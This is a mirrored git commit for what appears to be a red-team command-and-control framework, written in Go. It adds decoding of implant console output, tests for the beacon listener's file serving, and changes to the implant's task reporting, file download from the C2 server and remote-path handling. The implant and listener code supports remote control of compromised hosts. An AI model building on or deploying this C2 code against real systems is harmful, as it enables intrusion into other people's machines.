mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-06-10 16:23:54 +02:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,48 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"strings"
|
||||
"unicode/utf8"
|
||||
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// NormalizeConsoleOutput 将 implant/Shell 原始控制台字节转为 UTF-8 文本。
|
||||
// osTag 来自会话的 os 字段(如 windows / Windows 10);空值时按 auto 处理。
|
||||
func NormalizeConsoleOutput(raw []byte, osTag string) string {
|
||||
if len(raw) == 0 {
|
||||
return ""
|
||||
}
|
||||
osTag = strings.ToLower(strings.TrimSpace(osTag))
|
||||
isWindows := strings.Contains(osTag, "windows")
|
||||
|
||||
if utf8.Valid(raw) {
|
||||
return string(raw)
|
||||
}
|
||||
if isWindows {
|
||||
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
|
||||
return string(out)
|
||||
}
|
||||
}
|
||||
// 非 Windows 或解码失败:GB18030 兜底(覆盖 GBK)
|
||||
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
|
||||
return string(out)
|
||||
}
|
||||
return string(raw)
|
||||
}
|
||||
|
||||
// ResolveTaskResultText 合并 beacon 回传的 Output/OutputB64(及 Error/ErrorB64),按会话 OS 解码。
|
||||
func ResolveTaskResultText(plain, b64, sessionOS string) string {
|
||||
if strings.TrimSpace(b64) != "" {
|
||||
raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(b64))
|
||||
if err == nil {
|
||||
return NormalizeConsoleOutput(raw, sessionOS)
|
||||
}
|
||||
}
|
||||
if plain == "" {
|
||||
return ""
|
||||
}
|
||||
return NormalizeConsoleOutput([]byte(plain), sessionOS)
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"testing"
|
||||
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
func mustGBK(t *testing.T, s string) []byte {
|
||||
t.Helper()
|
||||
out, _, err := transform.Bytes(simplifiedchinese.GBK.NewEncoder(), []byte(s))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestNormalizeConsoleOutput_WindowsGBK(t *testing.T) {
|
||||
raw := mustGBK(t, "中文测试")
|
||||
got := NormalizeConsoleOutput(raw, "windows")
|
||||
if got != "中文测试" {
|
||||
t.Fatalf("got %q want 中文测试", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeConsoleOutput_UTF8Passthrough(t *testing.T) {
|
||||
raw := []byte("hello 世界")
|
||||
got := NormalizeConsoleOutput(raw, "linux")
|
||||
if got != "hello 世界" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveTaskResultText_PrefersB64(t *testing.T) {
|
||||
raw := mustGBK(t, "采购订单")
|
||||
b64 := base64.StdEncoding.EncodeToString(raw)
|
||||
got := ResolveTaskResultText("", b64, "windows")
|
||||
if got != "采购订单" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveTaskResultText_PlainFallback(t *testing.T) {
|
||||
raw := mustGBK(t, "测试")
|
||||
got := ResolveTaskResultText(string(raw), "", "windows")
|
||||
if got != "测试" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
@@ -367,6 +367,7 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ
|
||||
}
|
||||
prefix := l.cfg.BeaconFilePath
|
||||
taskID := strings.TrimPrefix(r.URL.Path, prefix)
|
||||
taskID = strings.TrimSuffix(taskID, ".bin")
|
||||
if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
|
||||
@@ -2,10 +2,12 @@ package c2
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -127,3 +129,101 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
dbPath := filepath.Join(tmp, "c2.sqlite")
|
||||
db, err := database.NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = db.Close() })
|
||||
|
||||
lnPick, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
port := lnPick.Addr().(*net.TCPAddr).Port
|
||||
_ = lnPick.Close()
|
||||
|
||||
keyB64, err := GenerateAESKey()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
token := "test-implant-token-file"
|
||||
|
||||
lid := "l_testhttpfile01"
|
||||
rec := &database.C2Listener{
|
||||
ID: lid,
|
||||
Name: "t",
|
||||
Type: string(ListenerTypeHTTPBeacon),
|
||||
BindHost: "127.0.0.1",
|
||||
BindPort: port,
|
||||
EncryptionKey: keyB64,
|
||||
ImplantToken: token,
|
||||
Status: "stopped",
|
||||
ConfigJSON: `{"beacon_file_path":"/file/"}`,
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
if err := db.CreateC2Listener(rec); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
store := filepath.Join(tmp, "c2store")
|
||||
m := NewManager(db, zap.NewNop(), store)
|
||||
m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
|
||||
if _, err := m.StartListener(lid); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = m.StopListener(lid) })
|
||||
|
||||
fileID := "f_testfile123"
|
||||
downDir := filepath.Join(store, "downstream")
|
||||
if err := os.MkdirAll(downDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := []byte("upload-payload-bytes")
|
||||
if err := os.WriteFile(filepath.Join(downDir, fileID+".bin"), want, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
base := "http://127.0.0.1:" + strconv.Itoa(port)
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
|
||||
for _, path := range []string{"/file/" + fileID, "/file/" + fileID + ".bin"} {
|
||||
t.Run(path, func(t *testing.T) {
|
||||
req, _ := http.NewRequest(http.MethodGet, base+path, nil)
|
||||
req.Header.Set("X-Implant-Token", token)
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
t.Fatalf("status=%d body=%q", resp.StatusCode, b)
|
||||
}
|
||||
raw, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
plain, err := DecryptAESGCM(keyB64, string(raw))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out struct {
|
||||
FileData string `json:"file_data"`
|
||||
}
|
||||
if err := json.Unmarshal(plain, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := base64.StdEncoding.DecodeString(out.FileData)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !bytes.Equal(got, want) {
|
||||
t.Fatalf("got %q want %q", got, want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
+12
-4
@@ -638,10 +638,18 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
|
||||
status = string(TaskFailed)
|
||||
}
|
||||
duration := endedAt.Sub(startedAt).Milliseconds()
|
||||
|
||||
sessionOS := ""
|
||||
if sess, serr := m.db.GetC2Session(t.SessionID); serr == nil && sess != nil {
|
||||
sessionOS = sess.OS
|
||||
}
|
||||
resultText := ResolveTaskResultText(report.Output, report.OutputB64, sessionOS)
|
||||
errText := ResolveTaskResultText(report.Error, report.ErrorB64, sessionOS)
|
||||
|
||||
upd := database.C2TaskUpdate{
|
||||
Status: &status,
|
||||
ResultText: &report.Output,
|
||||
Error: &report.Error,
|
||||
ResultText: &resultText,
|
||||
Error: &errText,
|
||||
StartedAt: &startedAt,
|
||||
CompletedAt: &endedAt,
|
||||
DurationMS: &duration,
|
||||
@@ -661,8 +669,8 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
|
||||
return err
|
||||
}
|
||||
t.Status = status
|
||||
t.ResultText = report.Output
|
||||
t.Error = report.Error
|
||||
t.ResultText = resultText
|
||||
t.Error = errText
|
||||
|
||||
level := "info"
|
||||
msg := fmt.Sprintf("任务完成: %s", t.TaskType)
|
||||
|
||||
@@ -45,6 +45,7 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// 编译期注入常量(text/template 替换)
|
||||
@@ -101,7 +102,9 @@ type TaskReport struct {
|
||||
TaskID string `json:"task_id"`
|
||||
Success bool `json:"success"`
|
||||
Output string `json:"output,omitempty"`
|
||||
OutputB64 string `json:"output_b64,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
ErrorB64 string `json:"error_b64,omitempty"`
|
||||
BlobBase64 string `json:"blob_b64,omitempty"`
|
||||
BlobSuffix string `json:"blob_suffix,omitempty"`
|
||||
StartedAt int64 `json:"started_at"`
|
||||
@@ -326,16 +329,7 @@ func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
|
||||
defer func() { tcpTaskConn = nil }()
|
||||
start := time.Now()
|
||||
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
||||
report := TaskReport{
|
||||
TaskID: env.TaskID,
|
||||
Success: errMsg == "",
|
||||
Output: output,
|
||||
Error: errMsg,
|
||||
BlobBase64: blobB64,
|
||||
BlobSuffix: blobSuffix,
|
||||
StartedAt: start.UnixMilli(),
|
||||
EndedAt: time.Now().UnixMilli(),
|
||||
}
|
||||
report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
|
||||
tcpReportResult(conn, report)
|
||||
}
|
||||
|
||||
@@ -367,7 +361,8 @@ func fetchC2FileByID(fileID string) ([]byte, error) {
|
||||
if tcpTaskConn != nil {
|
||||
return tcpFetchEncryptedFile(tcpTaskConn, fileID)
|
||||
}
|
||||
url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID)
|
||||
// 服务端 handleFileServe 会在 downstream/<file_id>.bin 读取;URL 路径应为 /file/<file_id>,勿重复 .bin
|
||||
url := fmt.Sprintf("%s%s%s", serverURL, filePath, fileID)
|
||||
req, _ := http.NewRequest("GET", url, nil)
|
||||
req.Header.Set("User-Agent", userAgent)
|
||||
req.Header.Set("X-Implant-Token", implantToken)
|
||||
@@ -635,20 +630,39 @@ func decryptGCM(cipherText string) ([]byte, error) {
|
||||
return gcm.Open(nil, nonce, ct, nil)
|
||||
}
|
||||
|
||||
func encodeReportText(s string) (plain, b64 string) {
|
||||
if s == "" {
|
||||
return "", ""
|
||||
}
|
||||
b := []byte(s)
|
||||
if utf8.Valid(b) {
|
||||
return s, ""
|
||||
}
|
||||
return "", base64.StdEncoding.EncodeToString(b)
|
||||
}
|
||||
|
||||
func buildTaskReport(taskID, output, errMsg, blobB64, blobSuffix string, start, end time.Time) TaskReport {
|
||||
outText, outB64 := encodeReportText(output)
|
||||
errText, errB64 := encodeReportText(errMsg)
|
||||
return TaskReport{
|
||||
TaskID: taskID,
|
||||
Success: errMsg == "",
|
||||
Output: outText,
|
||||
OutputB64: outB64,
|
||||
Error: errText,
|
||||
ErrorB64: errB64,
|
||||
BlobBase64: blobB64,
|
||||
BlobSuffix: blobSuffix,
|
||||
StartedAt: start.UnixMilli(),
|
||||
EndedAt: end.UnixMilli(),
|
||||
}
|
||||
}
|
||||
|
||||
func handleTaskAsync(env TaskEnv) {
|
||||
defer func() { _ = recover() }()
|
||||
start := time.Now()
|
||||
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
||||
report := TaskReport{
|
||||
TaskID: env.TaskID,
|
||||
Success: errMsg == "",
|
||||
Output: output,
|
||||
Error: errMsg,
|
||||
BlobBase64: blobB64,
|
||||
BlobSuffix: blobSuffix,
|
||||
StartedAt: start.UnixMilli(),
|
||||
EndedAt: time.Now().UnixMilli(),
|
||||
}
|
||||
report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
|
||||
reportResult(report)
|
||||
}
|
||||
|
||||
@@ -890,12 +904,26 @@ func taskKillProc(payload map[string]interface{}) (string, string, string, strin
|
||||
return "killed", "", "", ""
|
||||
}
|
||||
|
||||
func normalizeRemotePath(p string) string {
|
||||
p = strings.TrimSpace(p)
|
||||
if p == "" || runtime.GOOS != "windows" {
|
||||
return p
|
||||
}
|
||||
// 控制台可能下发 /d:/path/file(Unix 风格),Windows 需转为 d:\path\file
|
||||
p = strings.ReplaceAll(p, "\\", "/")
|
||||
if len(p) >= 3 && p[0] == '/' && p[2] == ':' {
|
||||
p = p[1:]
|
||||
}
|
||||
return filepath.FromSlash(p)
|
||||
}
|
||||
|
||||
func taskUpload(payload map[string]interface{}) (string, string, string, string) {
|
||||
remotePath, _ := payload["remote_path"].(string)
|
||||
fileID, _ := payload["file_id"].(string)
|
||||
if remotePath == "" || fileID == "" {
|
||||
return "", "", "", "remote_path or file_id empty"
|
||||
}
|
||||
remotePath = normalizeRemotePath(remotePath)
|
||||
data, err := fetchC2FileByID(fileID)
|
||||
if err != nil {
|
||||
return "", "", "", err.Error()
|
||||
|
||||
@@ -209,7 +209,9 @@ type TaskResultReport struct {
|
||||
TaskID string `json:"task_id"`
|
||||
Success bool `json:"success"`
|
||||
Output string `json:"output,omitempty"`
|
||||
OutputB64 string `json:"output_b64,omitempty"` // 原始控制台字节(base64),避免 JSON 破坏非 UTF-8 输出
|
||||
Error string `json:"error,omitempty"`
|
||||
ErrorB64 string `json:"error_b64,omitempty"`
|
||||
BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
|
||||
BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
|
||||
StartedAt int64 `json:"started_at"`
|
||||
|
||||
Reference in New Issue
Block a user